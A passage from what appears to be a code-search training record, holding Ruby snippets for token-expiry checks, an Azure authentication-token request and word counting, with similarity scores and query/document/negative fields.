expired?\n expiration_date <= Time.now\n end", "def expired?\n @expiry_time < Time.now\n end", "def token_expired?\r\n begin\r\n conditions_element = REXML::XPath.first(document,\"/p:Response/a:Assertion/a:Conditions\", { \"p\" => PROTOCOL, \"a\" => ASSERTION })\r\n raise SA1012Exception if conditions_element.nil?\r\n raise SA1003Exception if conditions_element.attribute('NotBefore') and Time.now.utc < Time.parse(conditions_element.attribute('NotBefore').value)\r\n raise SA1004Exception if conditions_element.attribute('NotOnOrAfter') and Time.now.utc >= Time.parse(conditions_element.attribute('NotOnOrAfter').value)\r\n rescue RuntimeError => exp\r\n Rails.logger.error \"#{exp.class} - #{exp.message}\"\r\n return true\r\n else\r\n return false\r\n end\r\n end", "def expired?\n false\n end", "def expired?(now)\n @expires_at <= now\n end", "def can_expire?\n return !!@expiry\n end", "def expired?\n @expires_in && @created_at + @expires_in <= Time.now.to_f\n end", "def expired?\n exp < Time.now.to_i\n end", "def expired?(payload)\n Time.at(payload['exp']) < Time.now\n end", "def not_expired?\n self.expires_at && Time.now <= self.expires_at\n end", "def expired?\n DateTime.now.utc >= self.expires_at\n end", "def request_expired?\n parsed_timestamp < request_expires_at\n end", "def expired?\n not valid?\n end", "def remember_token?\n remember_token_expires_at && Time.now.utc < remember_token_expires_at \n end", "def remember_token?\n remember_token_expires_at && Time.now.utc < remember_token_expires_at \n end", "def remember_token?\n remember_token_expires_at && Time.now.utc < remember_token_expires_at \n end", "def remember_token?\n remember_token_expires_at && Time.now < remember_token_expires_at\n end", "def password_reset_token_expired?\n sent_reset_at < 1.hour.ago\n end", "def expired?\n expires_at.to_time <= Time.now.utc\n end", "def expired?\n expires_at.to_time <= Time.now.utc\n end", "def has_expired?\n self.expires_at ? self.expires_at < Time.now.utc : false\n end", "def has_expired?\n self.expires_at ? self.expires_at < Time.now.utc : false\n end", "def remember_token?\n remember_token_expires_at && Time.now.utc < remember_token_expires_at\n end", "def expired?\n Time.now.in_time_zone > expires_at\n end", "def tgt_expired?\n return true if @last_updated.nil? or @ticket_granting_ticket.nil?\n (@last_updated + 5) < Time.now.to_i # TGTs have an 8 hour life\n end", "def expired?\n end", "def check_token_expiration\n return unless @person.password_reset_expired?\n\n flash[:danger] = I18n.t('password_reset.expired_token')\n redirect_to new_password_reset_url\n end", "def access_expired? (time = Time.current)\n access_expires_at && time > access_expires_at\n end", "def activation_token_expired?\n activation_sent_at < 7.days.ago\n end", "def expired?\n @expired\n end", "def expiring?\n return true if expires - Time.now < 60\n return false\n end", "def expired?\n Time.zone.today > expires_at\n end", "def has_valid_login_token?\n return false if login_token.blank? || login_token_expires_at.nil?\n login_token_expires_at.future?\n end", "def expired?(expire_time)\n return false if expire_time.nil? # Assume that expire check is disabled.\n return true unless expire_time.respond_to?(:to_i) # Verify that expire_time can be converted into an integer.\n\n # Checks to see if the expire time will elapse in the next 10 seconds.\n # True if now is greater than expire time. False if now is less than expire time.\n Time.now.to_i >= (expire_time.to_i - 10)\n end", "def verification_token_valid?\n (self.verification_sent_at + 4.hours) > Time.now.utc\n end", "def remember_token?\n remember_token_expires_at && Time.now.utc < remember_token_expires_at\n end", "def remember_token?\n remember_token_expires_at && Time.now.utc < remember_token_expires_at\n end", "def expired?\n return self.expires_on < Date.today if self.expires_on\n true\n end", "def expired?\n age > ttl\n end", "def expired?\n age > ttl\n end", "def refresh_token?\n if (@token_timer + 6000) < Time.now\n self.get_token\n true\n else\n false\n end\n end", "def expired?\n return if missing?\n\n validity < (reference_time - time)\n end", "def expired?\n return @expired\n end", "def refresh_expired?\n can_refresh_expire? && @refresh_expiry < Time.now.to_i\n end", "def can_expire?\n return !!self.expires_in && !!self.time_created\n end", "def expired?\n Date.today > self.expires_on\n end", "def check_cert_expiring\n cert = certificate_get\n expire_date = cert.not_after\n\n now = Time.now\n # Calculate the difference in time (seconds) and convert to hours\n hours_until_expired = (expire_date - now) / 60 / 60\n\n if hours_until_expired < resource[:regenerate_ttl]\n true\n else\n false\n end\n end", "def token_valid?(client_nonce, token)\n gen_time, _dontcare = encryptor(client_nonce).decode(token)\n\n time_diff = Time.now - Time.at(time_to_block(gen_time))\n time_diff < valid_interval && time_diff > 0\n rescue ArgumentError\n false\n end", "def expired?\n return false if @expires_in.nil?\n @start_time + Rational(@expires_in - @refresh_timeout, 86400) < DateTime.now\n end", "def password_token_valid?\n (self.reset_password_sent_at + 4.hours) > Time.now.utc\n end", "def expired?\n Time.now > self.to_be_expired_at\n end", "def password_token_valid?\n (updated_at + 4.hours) > Time.now.utc\n end", "def expired?\n\n end", "def expired?\n Time.now > valid_until\n end", "def expired?\n self.expiration.past? || self[:expired]\n end", "def valid_token?\n five_minutes_ago = DateTime.now - 5.minutes\n params[:timestamp].to_i > five_minutes_ago.to_i &&\n params[:token] == Scalingo::SsoController.generate_authentication_token(params[:id], params[:timestamp])\n end", "def expired?\r\n return Time.now > self.created_on + @@validity_time\r\n end", "def is_expired?\n (!end_time.nil? and end_time < Clock.time)\n end", "def expired?\n Time.now - @created_time > @ttl\n end", "def has_not_expired?\n self.expires_at ? self.expires_at > Time.now.utc : true\n end", "def has_not_expired?\n self.expires_at ? self.expires_at > Time.now.utc : true\n end" ]
[ "0.874067", "0.86791736", "0.85950947", "0.8432461", "0.84150887", "0.82270116", "0.819294", "0.819294", "0.80725217", "0.8035453", "0.800982", "0.80006504", "0.79598695", "0.79140645", "0.78631717", "0.78445935", "0.77996224", "0.77955", "0.7775142", "0.7753583", "0.77316314", "0.7730908", "0.77103573", "0.7705081", "0.7699959", "0.7699477", "0.7681394", "0.76605135", "0.76507205", "0.76479524", "0.7639147", "0.76378477", "0.7623246", "0.7610289", "0.7598343", "0.7587601", "0.75845516", "0.7583008", "0.75802267", "0.75724137", "0.75585324", "0.75325686", "0.75252914", "0.75204754", "0.7514081", "0.74996585", "0.74979424", "0.7497104", "0.74870205", "0.74676645", "0.7456255", "0.7456002", "0.7435078", "0.7435078", "0.7435078", "0.7431877", "0.7417266", "0.7414356", "0.7414356", "0.74061054", "0.74061054", "0.7389204", "0.737886", "0.7374569", "0.73744184", "0.7372341", "0.7353901", "0.7346358", "0.7333794", "0.7325644", "0.73233575", "0.73213017", "0.7318825", "0.73183155", "0.7316785", "0.7315345", "0.7308176", "0.72910476", "0.72910476", "0.7290084", "0.72815293", "0.72797805", "0.72785336", "0.7277271", "0.72722405", "0.72713995", "0.72691655", "0.7267759", "0.7266627", "0.7265898", "0.7248784", "0.7246545", "0.7236437", "0.7232117", "0.7228274", "0.7207223", "0.72059923", "0.7201914", "0.71998227", "0.71998227" ]
0.84368855
3
Retrieves a new authentication token.
def acquire_token token_acquire_url = TOKEN_ACQUIRE_URL.dup token_acquire_url['{authentication_endpoint}'] = @settings.authentication_endpoint token_acquire_url['{tenant_id}'] = @tenant_id url = URI.parse(token_acquire_url) connection = Faraday.new(:url => url, :ssl => MsRest.ssl_options) do |builder| builder.adapter Faraday.default_adapter end request_body = REQUEST_BODY_PATTERN.dup request_body['{resource_uri}'] = ERB::Util.url_encode(@settings.token_audience) request_body['{client_id}'] = ERB::Util.url_encode(@client_id) request_body['{username}'] = ERB::Util.url_encode(@username) request_body['{password}'] = ERB::Util.url_encode(@password) response = connection.get do |request| request.headers['content-type'] = 'application/x-www-form-urlencoded' request.body = request_body end fail AzureOperationError, 'Couldn\'t login to Azure, please verify your tenant id, client id and username/password' unless response.status == 200 response_body = JSON.load(response.body) @token = response_body['access_token'] @token_expires_on = Time.at(Integer(response_body['expires_on'])) @token_type = response_body['token_type'] end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def token_generate\n res = call('auth.token_generate')\n\n return unless res || res['token']\n\n res['token']\n end", "def retrieve_token!\n body = request_token\n # Refresh our token early so that it won't expire while a request is in-flight. We expect 15m\n # expirys for tokens but are careful not to trim the expiry by too much, just in case\n expires_in = body['expires_in'].seconds\n if expires_in - AUTH_TOKEN_PREEMPTIVE_EXPIRY_MINUTES > 0\n expires_in -= AUTH_TOKEN_PREEMPTIVE_EXPIRY_MINUTES\n end\n token = \"#{body['token_type']} #{body['access_token']}\"\n Rails.cache.write(AUTH_TOKEN_CACHE_KEY, token, expires_in: expires_in)\n token\n end", "def generate_token\n new_token =\n SimpleTokenAuthentication::TokenGenerator.instance.generate_token\n update(authentication_token: new_token)\n self\n end", "def auth_token\n return regenerate_auth_token if expired?\n\n authentication.auth_token\n end", "def token\n Rails.cache.read(AUTH_TOKEN_CACHE_KEY) || retrieve_token!\n end", "def retrieve_auth_token\n http = Net::HTTP.new(auth_endpoint.host, auth_endpoint.port)\n\n request = Net::HTTP::Post.new(auth_endpoint.request_uri)\n\n request.basic_auth(\n TodoableApi.configuration.username,\n TodoableApi.configuration.password\n )\n\n handle_auth_response(http.request(request))\n end", "def authentication_token\n generate_token(:authentication_token)\n end", "def generate_auth_token\n token = AuthToken.new(user: self)\n token if token.save\n end", "def token\n authenticated\n end", "def get_token\n begin\n @response = RestClient.post(\n @consumer[:token_request_url],\n client_id: @consumer[:client_id],\n client_secret: @consumer[:client_secret],\n grant_type: @consumer[:grant_type],\n resource: @consumer[:resource]\n )\n\n @consumer[:token] = 'Bearer ' + JSON.parse(@response)['access_token']\n @consumer[:token_expiry] = JSON.parse(@response)['expires_on']\n rescue => error\n puts(\"ERROR - Token Request Failed - #{error}\")\n end\n @consumer[:token]\n end", "def generate_authentication_token\n self.auth_token = User.new_token\n\t\t\tself.auth_expires_at = Time.now + 240.hours\n\tend", "def get_token\n get(TOKEN_URL)\n end", "def get_token\n response = wrap_response(\n @connection.get(TOKEN_PATH, nil)\n )\n\n response.fmap { |r|\n SftpgoClient::Token.new(r.body)\n }\n end", "def get_token\n LastFM.get( \"auth.getToken\", {}, :secure )\n end", "def get_token\n with_monitoring do\n perform(:post, \"/#{config.base_path}/token\", {}, token_headers)\n end\n end", "def token\n return @settings.token if @settings.token?\n\n token = token_store.load(token_store_key)\n return token if token\n\n return nil unless @settings.autologin\n\n token = V1.request_auth_token!(auth_connection)\n token_store.store(token_store_key, token)\n token\n end", "def auth_token\n auth_token_for(DEFAULT_AUTH_TOKEN_KEY)\n end", "def token\n auth_client.token(settings.oauth2_token).tap do |token|\n settings.save_oauth2_token(token.to_hash)\n end\n end", "def get_token\n if @token && @valid_until && @valid_until > Time.now + 10\n @token\n else\n renew_token\n end\n end", "def request_token\n self.token = Pivotal::Client.fetch_token(email, password)\n end", "def aquire_token\n token_data = server.call(\"acquire_token\", @config['account_code'], @config['password'], @config['provider_key'])\n status = token_data[0]\n @token = token_data[1]\n if (is_error(status)) \n error_message = decode_error(status)\n raise \"Unable to aquire token. Reason: #{error_message}\"\n end\n @token\n end", "def token\n @api.get(\"#{Paths::TOKENS}\")\n end", "def auth_token\n AuthToken.new payload: { sub: user.id }\n end", "def token\n refresh_token if needs_token_refresh?\n return @token\n end", "def get_new_access_token\n now = Time.now\n params = {\n body: {\n grant_type: 'urn:ietf:params:oauth:grant-type:uma-ticket',\n ticket: retrieve_ticket,\n client_id: key_info['oxtrust_client_id'],\n client_assertion_type: 'urn:ietf:params:oauth:client-assertion-type:jwt-bearer',\n client_assertion: generate_json_web_token(now),\n scope: 'oxtrust-api-read oxtrust-api-write'\n }\n }\n req = HTTParty.post('https://localhost/oxauth/restv1/token', params)\n if req.code == 200\n token = req['access_token']\n save_access_token(token, now.to_i + 86_400)\n token\n else\n Puppet.err(\n \"Gluu API HTTP #{req.code}: #{req['error_description']}\",\n )\n end\n end", "def auth_token\n TokenProvider.issue_token(\n first_name: object.first_name,\n last_name: object.last_name,\n username: object.username,\n user_id: object.id,\n role: object.role\n )\n end", "def access_token\n # Synchronization is needed, otherwise race condition may ensue:\n # Let's assume token has expired, and two threads ask for a new token.\n # Both proceed to fetch the token from remote server, both return,\n # but the first token is no longer valid.\n MUTEX.synchronize do\n token = Nordea::Siirto.redis.get(KEY)\n return token if token\n\n Nordea::Siirto.log('Requesting new access token...')\n payload = response.body\n\n token = payload['access_token']\n expires_in = payload['expires_in'] - EXPIRATION_BUFFER\n Nordea::Siirto.redis.set(KEY, token)\n Nordea::Siirto.redis.expire(KEY, expires_in)\n\n token\n end\n end", "def authToken(secretkey)\n # get 'authToken', {secretkey: secretkey} { |x| x['authToken'] }\n new_auth_token\n end", "def token\n return @token if @token\n\n options = @options.merge(\n body: {\n client_id: @client_id,\n client_secret: @client_secret,\n grant_type: 'client_credentials'\n },\n headers: {\n 'Accept' => 'application/json',\n 'Host' => uri.host\n }\n )\n url = \"#{@base_url}/auth/oauth/v2/token\"\n\n @logger.debug(\"Request token from #{url}\")\n\n response = raises_unless_success do\n HTTParty.post(url, options)\n end.parsed_response\n\n @token = Token.new(\n *response.values_at('access_token', 'token_type', 'expires_in', 'scope')\n )\n end", "def get_login_token\n object_from_response(Code42::Token, :post, \"loginToken\")\n end", "def authentication_token\n @authentication_token ||= OohAuth::Token.first(:token_key=>token)\n end", "def token\n\t\t@token = ApiKey.find_by_user_id(self.id)\n\t\tif @token == nil\n\t\t\t\treturn ApiKey.create!(user: self)\n\t\telse\n\t\t\t\treturn @token\n\t\tend\n\tend", "def authentication_token\n @authentication_token ||= JWT.encode(payload, secret, algorithm)\n end", "def new_jwt\n Knock::AuthToken.new(payload: { sub: current_user.id }).token\n end", "def fresh_token\n refresh! if token_expired?\n access_token\n end", "def auth_token\n @auth_token ||= ActionController::HttpAuthentication::Token.token_and_options(request)\n end", "def acquire_token()\n response_body = JSON.load(`#{cli_path} account get-access-token -o json --resource #{@settings.token_audience}`)\n \n @token_expires_on = Time.parse(response_body['expiresOn'])\n @token_type = response_body['tokenType']\n @token = response_body['accessToken']\n rescue\n raise AzureCliError, 'Error acquiring token from the Azure CLI'\n end", "def get_token\n session[:token] if authorized?\n end", "def api_token\n if @token.nil?\n raise ArgumentError, 'username is missing' if username.blank?\n raise ArgumentError, 'password is missing' if password.blank?\n response = connection.post do |req|\n req.url '/Authentication/V2.0'\n req.headers['x-dnb-user'] = username\n req.headers['x-dnb-pwd'] = password\n end\n @token = response.headers['Authorization']\n end\n @token\n end", "def token\n response = Request.post(url,\n :headers => headers,\n :body => body.to_param)\n\n if response.errors?\n raise response.to_exception\n else\n Token.build(response.body)\n end\n end", "def get_access_token\n auth = storage['authentication']\n return auth['access_token'] if auth && auth['expires'] > Time.now.to_i\n\n auth = authenticate_client\n storage['authentication'] = auth\n auth['access_token']\n end", "def fresh_token\n refresh! if expired?\n access_token\n end", "def assign_authentication_token\n self.authentication_token = generate_authentication_token\n end", "def get_authentication_header\n acquire_token if token_expired\n \"#{token_type} #{token}\"\n end", "def token\n response = Request.post(url,\n :headers => headers,\n :body => body.to_param)\n\n if response.errors?\n raise response.to_exception\n else\n Token.build(response.body)\n end\n end", "def regenerate_auth_token\n new_token = oauth.exchange_access_token_info(authentication.auth_token)\n\n # Save the new token and its expiry over the old one\n authentication.update_attributes!(\n auth_token: new_token['access_token'],\n last_expires_at: authentication.expires_at,\n expires_at: Time.now + new_token['expires_in'].to_i,\n )\n\n authentication.auth_token\n end", "def generate_auth_token\n begin\n token = SecureRandom.hex\n end while AuthToken.exists?(auth_token: token)\n self.auth_tokens.create(auth_token: token)\n token\n end", "def fetch\n response = request.post(path: \"/#{base_path}/token\", claims_token: claims_token.static)\n\n self.access_token = Oj.load(response.body)['token']\n self\n end", "def authenticate\n # if valid_access_token?\n # fetch_access_token\n # else\n get_new_access_token\n # end\n end", "def get_token\n return self if @@token || @token\n\n token_url = Azure::Armrest::AUTHORITY + @tenant_id + \"/oauth2/token\"\n\n resp = RestClient.post(\n token_url,\n :grant_type => @grant_type,\n :client_id => @client_id,\n :client_secret => @client_key,\n :resource => Azure::Armrest::RESOURCE\n )\n\n @token = 'Bearer ' + JSON.parse(resp)['access_token']\n @@token = @token\n\n unless @subscription_id\n @subscription_id = subscriptions.first['subscriptionId']\n end\n\n self\n end", "def create_token\n return api_call('request-token',{\"apiKey\"=> @@_api_key });\n end", "def get_access_token\n\t\treturn @credentials.get_access_token\n\tend", "def get_authentication_header\n acquire_token if token_expired?\n \"#{token_type} #{token}\"\n end", "def access_token\n User.create_access_token(self)\n end", "def authentication_token\n if session[:authentication_token]\n if DateTime.now >= session[:expires_at]\n refresh_token\n else\n session[:authentication_token]\n end\n else\n nil\n end\n end", "def obtain_token\n headers = {\n 'Authorization' => \"Basic #{@api_key}\",\n 'Content-Type' => 'application/x-www-form-urlencoded'\n }\n\n response = Basiq::Request.new('token').post(headers: headers)\n\n return nil if response.nil?\n\n parse_token(response.body)\n end", "def get_token\n return_code, response = send_command(\"get_token\", api_key)\n return response[\"token\"] if return_code == \"200\"\n raise ArgumentError, response[\"error\"]\n end", "def ensure_authentication_token\n self.authentication_token ||= generate_authentication_token\n end", "def fetch_token\n response = RestClient.get \"https://#{Autoscout24Client.config[:username]}:#{Autoscout24Client.config[:password]}@sts.idm.telekom.com/rest-v1/tokens/odg\", {:accept => :json}\n JSON.parse(response)[\"token\"]\n end", "def refresh_token!\n create_token = Kickit::API::CreateToken.new\n resp = create_token.execute(:username => username,\n :developerKey => Kickit::Config.developerKey)\n @token = resp\n end", "def ensure_authentication_token\n self.authentication_token ||= generate_authentication_token\n end", "def token\n client.token if client\n end", "def authenticate!\n if !authenticated?\n response = request_token\n\n @token = response[\"token\"]\n @expires_at = DateTime.parse(response[\"expires_at\"])\n end\n\n [@token, @expires_at]\n end", "def generate_auth_token\n \tbegin\n \t\tself.auth_token = User.new_token\n \tend while self.class.exists?(auth_token: auth_token)\n end", "def get_token(timestamp = nil)\n self.class.get_token(@secret, timestamp)\n end", "def make_auth_token\n Carto::Common::EncryptionService.make_token(length: 64)\n end", "def token\n @access_token.token\n end", "def get_new_access_token\n client, auth = google_api_client_auth\n print(\"1. Open this page:\\n%s\\n\\n\" % auth.authorization_uri)\n print(\"2. Enter the authorization code shown in the page: \")\n system( 'open \"'+auth.authorization_uri+'\"' )\n auth.code = $stdin.gets.chomp\n auth.fetch_access_token!\n auth.access_token\n end", "def auth_token\n @@auth_token\n end", "def create_new_auth_token(client_id=nil)\n client_id ||= SecureRandom.urlsafe_base64(nil, false)\n last_token ||= nil\n token = SecureRandom.urlsafe_base64(nil, false)\n token_hash = ::BCrypt::Password.create(token)\n expiry = (Time.now + DeviseTokenAuth.token_lifespan).to_i\n\n if self.tokens[client_id] && self.tokens[client_id]['token']\n last_token = self.tokens[client_id]['token']\n end\n\n self.tokens[client_id] = {\n token: token_hash,\n expiry: expiry,\n last_token: last_token,\n updated_at: Time.now\n }\n\n return build_auth_header(token, client_id)\n end", "def fetch_token\n\n token_resp = Util::EntityHelper.fetch_and_validate_token(@client_id, 'tm_b_1')\n return error_with_go_to(\n token_resp.internal_id,\n token_resp.general_error_identifier,\n GlobalConstant::GoTo.token_setup\n ) unless token_resp.success?\n\n @token = token_resp.data\n\n success\n\n end", "def authentication_token\n object.authentication_token if !current_user || object.id == current_user.id\n end", "def fetch_access_token\n client.unauthenticated_request(:POST, '/v1/security/oauth2/token',\n grant_type: 'client_credentials',\n client_id: client.client_id,\n client_secret: client.client_secret)\n end", "def auth_token(opts = {})\n get_config_auth_token() || create_authorization(opts)\n end", "def token\n @@token ||= fetch_token\n end", "def get_token\n with_monitoring do\n conn = Faraday.new(\n \"#{Settings.veteran_readiness_and_employment.auth_endpoint}?grant_type=client_credentials\",\n headers: { 'Authorization' => \"Basic #{Settings.veteran_readiness_and_employment.credentials}\" }\n )\n\n request = conn.post\n JSON.parse(request.body)['access_token']\n end\n end", "def access_token\n # Fetch from cache. We can expect this to be `nil` if unset or expired.\n #\n access_token = read_cache\n\n return access_token if access_token\n\n fetch_new_access_token\n end", "def token\n begin\n self.token = SecureRandom.hex\n end while self.class.exists?(token: auth_token)\n end", "def generate_authentication_token!\n begin\n self.auth_token = SecureRandom.hex(20)\n end while self.class.exists?(auth_token: auth_token)\n end", "def token\n uri = URI.parse('https://anypoint.mulesoft.com/accounts/login')\n\n client = Net::HTTP.new(uri.host, uri.port)\n client.use_ssl = true\n\n request = Net::HTTP::Post.new(uri.request_uri)\n request.body = URI.encode_www_form({\n \"username\" => @username,\n \"password\" => @password\n })\n\n response = client.request(request)\n access_token = JSON.parse(response.body)['access_token']\n @logger.info('Access token: ' + access_token)\n return access_token\n end", "def generate_auth_token!\n loop do\n @token = Devise.friendly_token\n break unless Token.find_by(token: @token)\n end\n self.tokens.create token: @token\n return @token\n end", "def generate_token\n token_hash = SecureRandom.hex\n token_hash.force_encoding('utf-8')\n access_tokens.create(token: token_hash, token_expire: Time.now + DEFAULT_TOKEN_EXPIRE)\n end", "def generate_token\n token_hash = SecureRandom.hex\n token_hash.force_encoding('utf-8')\n access_tokens.create(token: token_hash, token_expire: Time.now + DEFAULT_TOKEN_EXPIRE)\n end", "def retrieve_token\n raise ConfigurationError, \"You must have a provider key to retrieve API keys\" if provider_key.nil?\n perform(\"retrieve/token\", { :providerkey => provider_key }, :get, Token)\n end", "def get_token\n token_data = vault_read('littlered.stanford.edu', 'netdb-token')\n credentials = JSON.parse(token_data)\n encoded = Base64.urlsafe_encode64(\"#{credentials['client_id']}:#{credentials['client_secret']}\")\n headers = { Authorization: \"Basic #{encoded}\" }\n query = { grant_type: credentials['grant_type'] }\n response = HTTParty.post(credentials['token_endpoint'],\n :headers => headers,\n :query => query\n )\n raise \"Bad response to getting token: #{response.body}\" if response.code != 200\n\n response_json = JSON.parse(response.body)\n response_json['access_token']\nend", "def token\n return create_token_object.token if token_object.nil? || Time.now - token_object.updated_at > MAX_TOKEN_AGE\n token_object.token\n end", "def auth_token\n self.auth_response[:auth_token]\n end", "def token_auth\n Hash['type' => 'token',\n 'token' => @token,]\n end", "def token\n @token ||= Token.new(config)\n end", "def get_token(params={})\n client.post( GET_TOKEN_URL, body: parse_request_body(params) )\n end", "def refresh_auth_token\n generate_token(:auth_token)\n save!\n end", "def generate_auth_token\n self.auth_token = SecureRandom.hex\n end", "def token\n return @access_token if @access_token && !needs_refresh?\n\n update_access_token\n @access_token\n end", "def token!\n raise \"#{username} is not signed in, (token is set to nil).\" unless token\n\n token\n end", "def auth_token\n curtime = Time.now.utc.strftime '%Y%m%d%H' # yyyymmddhh. hh is 24 hour 0 padded\n token = \"#{@user}-#{@pass}-#{curtime}-#{@service_tag}\"\n puts \"----> Generated auth token: #{token}\"\n Digest::MD5.hexdigest(token).upcase\n end", "def create_authentication_token!\n begin\n self.authentication_token = User.token\n end while User.exists?(authentication_token: self.authentication_token)\n end", "def ensure_authentication_token\n if authentication_token.blank?\n self.authentication_token = generate_access_token\n end\n end", "def token\n @token ||= Rails.cache.fetch('osu_api_token', expires_in: 23.hours) do\n logger.debug(\"Fetching new OAuth2 Token from OSU API : #{@url}\")\n json = post(url_encoded_connection,\n ENV.fetch(OSU_API_OAUTH2_TOKEN),\n client_id: @key,\n client_secret: @secret,\n grant_type: 'client_credentials')\n json['access_token']\n end\n end", "def auth_token \n JWT.encode({id: self.id}, \"9885ea7895518eaf88c4a8a2e8f62c82\")\n end", "def api_token\n client.get(\"/user/api_token\").fetch(\"result\")\n end" ]
[ "0.7683927", "0.7619788", "0.76047355", "0.75763", "0.74369854", "0.7382339", "0.7350459", "0.7275597", "0.72349674", "0.72190064", "0.71881485", "0.7183764", "0.71789634", "0.7165854", "0.71385753", "0.7096329", "0.70874447", "0.7077667", "0.7067089", "0.7038234", "0.703018", "0.70053756", "0.6978638", "0.6977799", "0.69590443", "0.6950202", "0.69310766", "0.69266564", "0.6921634", "0.689906", "0.6897121", "0.6880355", "0.6877502", "0.6859111", "0.6857769", "0.6836485", "0.6812827", "0.68065876", "0.6782202", "0.6778742", "0.67714804", "0.6770537", "0.6770437", "0.6749832", "0.6749083", "0.67426354", "0.67379695", "0.6734914", "0.67200625", "0.67112494", "0.6710345", "0.67011976", "0.6700438", "0.6697038", "0.66830325", "0.6676385", "0.66739875", "0.6671796", "0.6671074", "0.66620517", "0.6659776", "0.66563463", "0.66524434", "0.6650065", "0.6649803", "0.6630257", "0.66195446", "0.66178125", "0.6615869", "0.6613957", "0.65985465", "0.65940565", "0.65902376", "0.65856373", "0.65772694", "0.6576183", "0.65748787", "0.6559645", "0.65596056", "0.65423375", "0.653846", "0.65350324", "0.65350324", "0.6532413", "0.6529968", "0.6518497", "0.6499958", "0.64973164", "0.64970225", "0.64936197", "0.6488595", "0.6477811", "0.64639544", "0.64576566", "0.644802", "0.6446347", "0.64423424", "0.64418787", "0.6436144", "0.6434436" ]
0.653737
81
Input: A string representing an English sentence Returns: The number of words in the sentence Prints: Nothing Although it's more complicated in relaity, we'll just pretend that sequence of spaces in a sentence designates the start of a new word. That means we don't care about how many spaces are between two words, only that there is at least one.
def word_count(string) string_arr = string.split string_arr.size end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def word_counter(string)\n\n if string.empty? #== 0, suggested by Rubocop\n i_num_words = 0\n else\n new_string = string\n new_string = new_string.delete \" \"\n i_num_words = string.length - new_string.length + 1\n end\n return i_num_words\nend", "def word_counter(sentence)\n return sentence.split(' ').length #makes it an array, .length counts items\nend", "def number_of_words(str)\n\tcount=1\n\tstr=gets.chomp\n\tfor char in str\n\t\tif char == \" \"\n\t\t\tcount=count+1\n\t\tend\n\tend\n\tputs count\nend", "def char_word_counter(sentence)\n words_array = sentence.split(' ')\n how_many_words = words_array.length\n how_many_chars = sentence.gsub(/\\s+/, \"\").length\n\n \"This sentence has #{how_many_words} words & #{how_many_chars} characters\"\nend", "def nwords(s)\n n = @options[:nwords].to_i\n words = 0\n s.split(\" \").inject(\"\") do |res,word|\n if words < n\n res << \" \" << word\n words += 1 if word.size > 2\n end\n res.strip\n end\n end", "def number_of_words(string)\n\tstring.split.size\nend", "def WordCount(str)\n str.split(\" \").count\nend", "def wordCounter(inputString)\n inputString.scan(/\\w+/).length\nend", "def count_words(sentence)\n sentence.scan(/(\\w+|-+)/).length\nend", "def count_words_in(the_string)\n the_words = the_string.split\n the_words.size\nend", "def word_counter(string)\n new_string = string.split\n return new_string.length\nend", "def word_counter\n \"This is a string\".split.size\nend", "def word_count(string)\n words = string.split(/\\W+/) #split on any non-word char. Thanks Rubular.com!\n #Using \\b counts even spaces as \"words\". Using \\W counts ... as three words.\n #\\W+ splits on one or more of any non-word character\n words.length #return length\nend", "def word_number\n text.split.size\n end", "def word_counter(str, index = 0, hit_letter = false)\n return 0 if str.length.zero? || (index == str.length - 1 && str[index] == \"\\s\")\n return 1 if index == str.length - 1\n\n hit_letter = true if str[index] != \"\\s\"\n\n is_word = str[index] == \"\\s\" && str[index + 1] != \"\\s\" && hit_letter ? 1 : 0\n\n is_word = 0 if index.zero? && str[0] == \"\\s\" && !hit_letter\n\n is_word + word_counter(str, index + 1, hit_letter)\nend", "def WordCount(str)\n\n # code goes here\n return str.split(\" \").length # .split.count, split(‘ ’).size\n \nend", "def count_spaces string\n string.count(\" \")\nend", "def word_count(text)\n return text.split.count\nend", "def find_frequency(sentence, word)\n ci_sentence = sentence.downcase\n words = ci_sentence.split(\" \")\n words.count(word)\nend", "def count_words(string)\n arg = string.downcase.gsub(/[^a-z ]/,\"\")\n words = arg.split(/\\s+/)\n result = Hash.new\n words.each { |word| \n if result[word].nil? then result[word] = 1 else result[word] += 1 end\n }\n result\nend", "def word_counter (string)\n array = string.split\n array.length\nend", "def WordCount(str)\n\twords = str.split(\" \").count\n\treturn words\nend", "def word_count(book_text)\n count = 0\n book_text.split(/[^-a-zA-Z']/).each do |word|\n count += 1 if word.length > 0\n # DEBUG puts count.to_s + ': \"' + word + '\"'\n end\n return count\nend", "def count_words(string)\n\tputs string\n\tstring.downcase!\n\tstring = string.gsub(/\\W+/, ' ')\n\tstring = string.split(/\\b/)\n\twordhash = Hash.new\n\tstring.each do |word| \n\t\tif wordhash.has_key?(word)\n\t\t\twordhash[word] += 1\n\t\telsif word === \" \"\n\t\t\n\t\telse\n\t\t\twordhash[word] = 1\n\t\tend\n\tend\n\tputs wordhash\nend", "def count_spaces(str)\n str.count(\" \")\nend", "def WordCount(string)\n string.scan(/\\w+/).count\nend", "def word_lengths(sentence)\n sentence.split.map { |str| \"#{str} #{str.length}\" }\nend", "def count_words(string)\n return nil if string.nil?\n\n w = string.split(/\\b/).map {|x| x.gsub(/[\\W]+/, '').downcase}.reject {|x| x.empty?}\n Hash[w.map {|x| [x, w.select {|y| x == y}.size]}]\nend", "def find_frequency(sentence, word)\n word = word.downcase\n sentence.downcase.split.count(word)\nend", "def count_chars\n puts \"Please write word or multiple words:\"\n words = gets.chomp\n\n num_chars = words.gsub(/\\s+/,'').length\n # for a simple input like this one could use\n # num_chars = words.delete(' ').length but delete must\n # use a string and not a regex\n puts \"There are #{num_chars} characters in \\\"#{words}\\\".\"\nend", "def WordCount(str)\n\tarr = str.split(\" \").count\nend", "def long_word_count(text)\n count = 0\n text.split(\" \").each do |element|\n if element.split(\"\").length > 7\n count += 1\n end\n end\n return count\n \nend", "def count_words(string)\r\n string.scan(/\\w+/).each_with_object(Hash.new(0)){|w,h| h[w.downcase]+=1}\r\n end", "def find_short(s)\n return s.split(' ').min_by{|word| word.length}.length\nend", "def find_frequency(sentence, word) \nsentence.downcase.split.count(word.downcase)\nend", "def word_sizes(sentence)\n words = Hash.new(0)\n sentence.split.each {|x| words[x.count(\"A-Za-z\")] += 1}\n words\nend", "def count_words\n string = self.squish.downcase.gsub(/[^a-z0-9\\s]/i, '')\n string = string.split(\" \")\n words = Hash.new(0)\n string.each { |x|\n words[x] +=1;\n }\n return words\n end", "def words_of_even_length(sentence)\nend", "def long_word_count(text)\n text.split(' ').count{|word| word.length > 7}\nend", "def word_count\n words = 